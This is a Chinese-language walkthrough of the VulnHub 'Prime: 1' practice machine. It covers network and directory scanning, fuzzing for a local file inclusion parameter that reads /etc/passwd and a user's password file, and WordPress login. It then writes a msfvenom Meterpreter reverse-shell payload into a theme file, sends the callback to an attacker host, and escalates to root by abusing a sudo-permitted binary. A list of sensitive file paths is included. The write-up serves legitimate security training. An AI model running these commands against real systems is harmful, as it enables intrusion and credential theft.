# VulnHub 靶場實戰系列 - Prime: 1 :::info Description: This machine is designed for those one who is trying to prepare for OSCP or OSCP-Exam. This is first level of prime series. Some help at every stage is given. Machine is lengthy as OSCP and Hackthebox's machines are designed. So you have a target to get root flag as well as user flag. If stuck on a point some help are given at a level of enumeration. ::: 0x00 目錄 --- [TOC] 0x01 環境部署 --- * **攻擊機:**[Kali Linux 2024.1 Release](https://www.kali.org/blog/kali-linux-2024-1-release/) * **靶機:**[Prime: 1](https://www.vulnhub.com/entry/prime-1,358/) * **虛擬機軟體**:[VMware Workstation 17 Player](https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html) * **網路:** 均設定成 NAT 模式 * **目標:★ 獲得靶機 Flag ★** | Machine | IP | User | |:------------------------------------------------------------ |:---------------:|:-----------------:| | Kali Linux ![圖片](https://hackmd.io/_uploads/H1efK1dgC.png) | 192.168.206.132 | kali | | Prime: 1 ![圖片](https://hackmd.io/_uploads/r1npOyOxR.png) | 未知 | victor (未知密碼) | 0x02 資訊蒐集 --- > **區網內 Class C 主機發現和通訊埠掃描 ▼** ```bash kali@kali:~$ nmap 192.168.206.0/24 ``` ![圖片](https://hackmd.io/_uploads/Symqo1de0.png) <font color=#808080>發現開啟 22 和 80 port、IP 為 192.168.206.132 的 Prime: 1 靶機。</font> > **訪問 http://192.168.206.132 ▼** ![圖片](https://hackmd.io/_uploads/BkWo7XdeC.png) > **查看原始碼 ▼** ```bash kali@kali:~$ curl http://192.168.206.132 ``` ![圖片](https://hackmd.io/_uploads/Hytp2ZueR.png) <font color=#808080>只有一張名為 "hacknpentest.png" 的圖片,似乎沒有什麼可以利用的地方。</font> 0x03 目錄掃描 --- > **用 `dirb` 工具對靶機進行目錄掃描 ▼** ```bash kali@kali:~$ dirb http://192.168.206.132 ``` ![圖片](https://hackmd.io/_uploads/Bk68WedxA.png) > **訪問 http://192.168.206.132/dev ▼** ![圖片](https://hackmd.io/_uploads/S1B07QOxC.png) <font color=#808080>沒有什麼有用的資訊。</font> > **接著我們指定檔案類型為 `txt`、`php` 和 `zip` 看看 ▼** ```bash kali@kali:~$ dirb http://192.168.206.132 -X .txt,.php,.zip ``` ![圖片](https://hackmd.io/_uploads/HkVk2xOl0.png) <font color=#808080>找到三個檔案。</font> > **訪問 http://192.168.206.132/secret.txt ▼** ![圖片](https://hackmd.io/_uploads/SyNRMX_l0.png) ![圖片](https://hackmd.io/_uploads/Sk3L3g_xR.png) <font color=#808080>這邊提示我們可以對剛剛找到的另外兩個 .php 檔進行 `模糊測試 (Fuzzing)`。</font> 0x04 FUZZ 和 本機檔案包含 (LFI) --- ![圖片](https://hackmd.io/_uploads/SJyhfmueR.png) > **根據提示使用 `wfuzz` 指令,對 `index.php` 和 `image.php` 進行模糊測試 ▼** ```bash kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.206.132/image.php?FUZZ ``` ![圖片](https://hackmd.io/_uploads/r1L-xmdxA.png) ```bash kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.206.132/index.php?FUZZ ``` ![圖片](https://hackmd.io/_uploads/SkQ1xm_l0.png) <font color=#808080>這邊出現很多無效訊息,我們還要再進行過濾。</font> > **`image.php` 過濾 `Chars = 147` ▼** ```bash kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147 http://192.168.206.132/image.php?FUZZ ``` ![圖片](https://hackmd.io/_uploads/r1mqgmulA.png) <font color=#808080>什麼都沒發現,換試看看 `index.php`。</font> > **`index.php` 過濾 `Chars = 136` ▼** ```bash kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.206.132/index.php?FUZZ ``` ![圖片](https://hackmd.io/_uploads/Hyny2GOxC.png) <font color=#808080>得到參數 `file`。</font> > **代入 `file`** ```bash kali@kali:~$ curl http://192.168.206.132/index.php?file ``` ![圖片](https://hackmd.io/_uploads/HJJrTWOxC.png) <font color=#808080>提示我們方向是對的,但沒有挖到正確的檔案。</font> :point_down: **代入 `location.txt`** :::info kali@kali:~$ curl http://192.168.206.132/index.php?file=location.txt ::: ![圖片](https://hackmd.io/_uploads/rJUk0WOxR.png) 得到參數 ==secrettier360==,並提示我們可以把他代入到 `image.php` 頁面看看。 :point_down: **代入 `secrettier360`** :::info kali@kali:~$ curl http://192.168.206.132/image.php?secrettier360 ::: ![圖片](https://hackmd.io/_uploads/HJkqlzOxR.png) **提示我們終於找到正確的參數了!** 0x05 WordPress 漏洞利用 --- 這邊列出一些 **LFI (Local File Inclusion)** 常見的敏感路徑: | LFI 常見敏感路徑 (Linux) | 說明 | | :-------- | :--------| | /etc/passwd | 帳號資訊 | | /etc/shadow | 密碼 | | /usr/local/app/apache2/conf/httpd.conf | Apache2 預設設定檔 | | /usr/local/app/apache2/conf/extra/httpd-vhost.conf | 虛擬網站設定 | | /usr/local/app/php5/lib/php.ini | PHP 設定 | | /etc/httpd/conf/httpd.conf | Apacha 預設設定檔 | | /etc/my.conf | MySQL 檔 | | /etc/nginx/nginx.conf | Nginx 設定檔 | | /etc/nginx/sites-enabled/default.conf | Nginx 預設設定檔 | | /root/.ssh/id_rsa | ssh key | :point_down: **先試看看 `/etc/passwd`** :::info kali@kali:~$ curl http://192.168.206.132/image.php?secrettier360=/etc/passwd ::: ![圖片](https://hackmd.io/_uploads/B1Q0dNKlR.png) ... ![圖片](https://hackmd.io/_uploads/HyMzKVYlC.png) 運氣不錯,得到提示:「**find password.txt file in my directory:/home/saket**」。 :point_down: **代入`/home/saket/password.txt`** :::info kali@kali:~$ curl http://192.168.206.132/image.php?secrettier360=/home/saket/password.txt ::: ![圖片](https://hackmd.io/_uploads/ByooTfYg0.png) 獲得密碼:==**follow_the_ippsec**==! :point_down: **不確定這個密碼可以用在哪裡,先試看看 ssh 連線** :::info kali@kali:~$ ssh victor@192.168.206.132 ::: ![圖片](https://hackmd.io/_uploads/SydEZmYeA.png) 失敗,看來應該是別的地方的密碼。 :point_down: **回想前面 dirb 目錄搜尋結果得知,這個靶機上面架了一個 WordPress 網站** ![圖片](https://hackmd.io/_uploads/SyBTYmdgC.png) :point_down: **用 `wpscan` 分析看看,加上 `-eu` 挖掘使用者帳號** :::info kali@kali:~$ wpscan --url http://192.168.206.132/wordpress/ -eu ::: ![圖片](https://hackmd.io/_uploads/SJJxxmteC.png) 找到一個名為 ==**victor**== 的使用者。 :point_down: **有用過 WordPress 的應該知道,在網址後面加上 `/wp-admin` 就能進到後台登入頁面** ![圖片](https://hackmd.io/_uploads/Skw7Fmdl0.png) :point_down: **嘗試 ==帳號:victor== / ==密碼:follow_the_ippsec==,成功登入!** ![圖片](https://hackmd.io/_uploads/HkDQ6XOeA.png) :point_down: **首先進到外掛頁面,隨便新增一個檔案看看有沒有檔案上傳漏洞 (File Upload)** ![圖片](https://hackmd.io/_uploads/H1ewcIFg0.png) ![圖片](https://hackmd.io/_uploads/r14ToUtgC.png) ![圖片](https://hackmd.io/_uploads/ry-99UtxA.png) 失敗,提示伺服器沒有寫入父目錄的權限。 :point_down: **接著進到外觀頁面,看看有什麼可以利用的地方** ![圖片](https://hackmd.io/_uploads/BJDE3LFxC.png) 發現 **secret.php**!提示我們終於找到可以寫入的文件了。 0x06 msfvenom 腳本生成 --- :point_down: **生成反向 shell (Reverse shell) 腳本** :::info kali@kali:~$ msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.206.129 lport=1111 ::: ![圖片](https://hackmd.io/_uploads/ByPgePFgA.png) :point_down: **複製到 `secret.php` 後 Update** ![圖片](https://hackmd.io/_uploads/HJyixDYgA.png) :point_down: **打開 `msfconsole`,並設定 `lhost`、`lport` 和 `payload`** :::info kali@kali:~$ msfconsole ::: :::warning msf6 > use exploit/multi/handler msf6 > msf6 > set lhost 192.168.206.129 msf6 > set lport 1111 msf6 > set payload php/meterpreter/reverse_tcp msf6 > msf6 > options ::: ![圖片](https://hackmd.io/_uploads/Sk4N_wYxC.png) :point_down: **接著開啟監聽,並訪問`http://192.168.206.132/wordpress/wp-content/themes/twentynineteen/secret.php`** :::warning msf6 > exploit ::: ![圖片](https://hackmd.io/_uploads/rymoHPKlC.png) **成功!** 0x07 Linux 特權提升 (Privilege Escalation) - 1 --- :point_down: **切換到系統的 shell** :::warning meterpreter > shell ::: :point_down: **用 Python 升级到完全交互式 shell** :::warning python -c 'import pty;pty.spawn("/bin/bash")' ::: ![圖片](https://hackmd.io/_uploads/S1YERrqxR.png) 變成熟悉的終端介面了。 :point_down: **輸入 `sudo -l` 查看權限** ![圖片](https://hackmd.io/_uploads/rJNRAHqg0.png) 發現當前用戶有不用 root 密碼就能執行 /home/saket/enc 的權限 :point_down: **切換到 /home/saket 並顯示該目錄底下的內容** ![圖片](https://hackmd.io/_uploads/BJ06JUceR.png) :point_down: **執行 `enc`,並輸入密碼: `follow_the_ippsec`** :::warning www-data@ubuntu:/home/saket$ sudo ./enc ::: ![圖片](https://hackmd.io/_uploads/BJcdmUqlR.png) 什麼事都沒發生,代表應該不是這個密碼。 :point_down: 那我們嘗試搜尋看看有沒有密碼備份,有時候管理員會習慣在系統中備份密碼 :::warning www-data@ubuntu:/home/saket$ find / -name '*backup*' 2>/dev/null | less| sort ::: ![圖片](https://hackmd.io/_uploads/BJrOVI5gR.png) 找到疑似密碼備份 :point_down: **打開看看** :::warning www-data@ubuntu:/home/saket$ cat /opt/backup/server_database/backup_pass ::: ![圖片](https://hackmd.io/_uploads/ryOAEU5eC.png) 成功找到 `enc` 檔案的密碼:==**backup_password**==! :point_down: **回到上面的步驟,執行 `enc` 並輸入密碼:`backup_password`** ![圖片](https://hackmd.io/_uploads/SyGNrU5eR.png) ![圖片](https://hackmd.io/_uploads/H1snB8cgR.png) 提示 good,並且在該目錄下生成了 `enc.txt` 和 `key.txt`。 :point_down: **分別查看檔案內容** :::warning www-data@ubuntu:/home/saket$ cat enc.txt ::: ![圖片](https://hackmd.io/_uploads/HJZP8UqxA.png) :::warning www-data@ubuntu:/home/saket$ cat key.txt ::: ![圖片](https://hackmd.io/_uploads/ry-dLUce0.png) 提示說要對 `ippsec` 進行 md5 加密,然後再拿去解 enc.txt :point_down: **對 `ippsec` 進行 md5 加密** :::warning www-data@ubuntu:/home/saket$ echo -n "ippsec" | md5sum ::: ![圖片](https://hackmd.io/_uploads/Skpgrw5l0.png) 得到 ==**366a74cb3c959de17d61db30591c39d1**==。 :point_down: **前往 [線上AES加解密工具](https://devglan.com/online-tools/aes-encryption-decryption),複製要解密的內容和剛剛得到的 key** ![圖片](https://hackmd.io/_uploads/HJnhvv9g0.png) > 得到 `Dont worry saket one day we will reach toour destination very soon. And if you forget your username then use your old password==> "tribute_to_ippsec"Victor,`,所以這邊得到 **saket** 用戶的密碼:**==tribute_to_ippsec==**。 :point_down: **切換成saket並登入** :::warning www-data@ubuntu:/home/saket$ su saket ::: ![圖片](https://hackmd.io/_uploads/HykZguclR.png) 成功。 :point_down: **查看權限** :::warning saket@ubuntu:~$ sudo -l ::: ![圖片](https://hackmd.io/_uploads/ryX5xd5eC.png) ![圖片](https://hackmd.io/_uploads/rJlU-_cl0.png) 提示找不到 `/tmp/challenge` 檔案,既然沒有就自己創一個。 :point_down: **切換到 `/tmp` 並創建 `challenge` 檔案,然後寫入內容 `/bin/bash`** :::warning saket@ubuntu:/tmp$ echo "/bin/bash" > challenge saket@ubuntu:/tmp$ saket@ubuntu:/tmp$ chmod +x challenge ::: :point_down: **再重新執行 sudo /home/victor/undefeated_victor** ![圖片](https://hackmd.io/_uploads/HkhP7OqeR.png) 拿到 root 的 shell 了。 :point_down: **最後切換到 `/root` 並打開 `root.txt` :::warning root@ubuntu:/tmp# cd /root root@ubuntu:/root# root@ubuntu:/root# cat root.txt ::: 得到我們的靶機 flag: ==**b2b17036da1de94cfb024540a8e7075a**==! 0x07 Linux 特權提升 (Privilege Escalation) - 2 --- 更新中 ...